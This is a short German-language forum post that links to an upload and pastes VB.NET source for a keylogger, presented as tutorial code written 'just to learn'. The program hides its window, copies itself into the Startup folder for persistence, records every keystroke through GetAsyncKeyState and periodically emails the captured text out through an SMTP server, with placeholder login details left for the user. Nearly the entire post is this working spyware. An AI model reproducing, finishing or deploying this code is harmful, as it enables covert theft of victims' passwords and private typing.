http://uploaded.to/file/3sei5fjh
Hab das alle genau wie im Tutorial gemacht.
Falls du fragst warum ich soein programm schreibe, nur so zum lernen ^,^
[cs]Imports System.Net.Mail
Public Class Form1
Dim autostartpfad As String = Application.ExecutablePath
Dim autostartpfad1 As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(autostartpfad)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer ' AUF GROSS UND KLEINSCHREIBUNG ACHTEN !
Dim erhaltenerText As New RichTextBox
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 0.01
Me.ShowInTaskbar = False
Try
IO.File.Copy(autostartpfad, autostartpfad1)
Catch ex As Exception
End Try
End Sub
Private Function getkeypress() As Integer
For a As Integer = 1 To 255
If GetAsyncKeyState(a) = -32767 Then
Return (a)
End If
Next
End Function
Sub Abschicken()
Dim smtpserver As New SmtpClient
Dim email As New MailMessage
smtpserver.Credentials = New Net.NetworkCredential("[email protected]", "deinpasswort") ' AUF GROSS UND KLEINSCHREIBUNG DER E-MAIL UND DES PASSWORTES ACHTEN !
smtpserver.Port = 25
smtpserver.Host = "smtp.web.de" ' AUF GROSS UND KLEINSCHREIBUNG ACHTEN !
email = New MailMessage
email.From = New MailAddress("[email protected]") ' AUF GROSS UND KLEINSCHREIBUNG ACHTEN !
email.To.Add("[email protected]") ' AUF GROSS UND KLEINSCHREIBUNG ACHTEN !
email.Subject = "Betreff"
email.Body = erhaltenerText.Text
smtpserver.Send(email)
End Sub
Private Sub Senden_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Senden.Tick
Abschicken()
End Sub
Private Sub Tasten_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Tasten.Tick
Dim key As Integer = getkeypress()
If key <> 0 Then
erhaltenerText.Text = erhaltenerText.Text & CStr(Chr(key))
End If
End Sub
End Class[/cs]
_______________________
quelltext aus dem TuT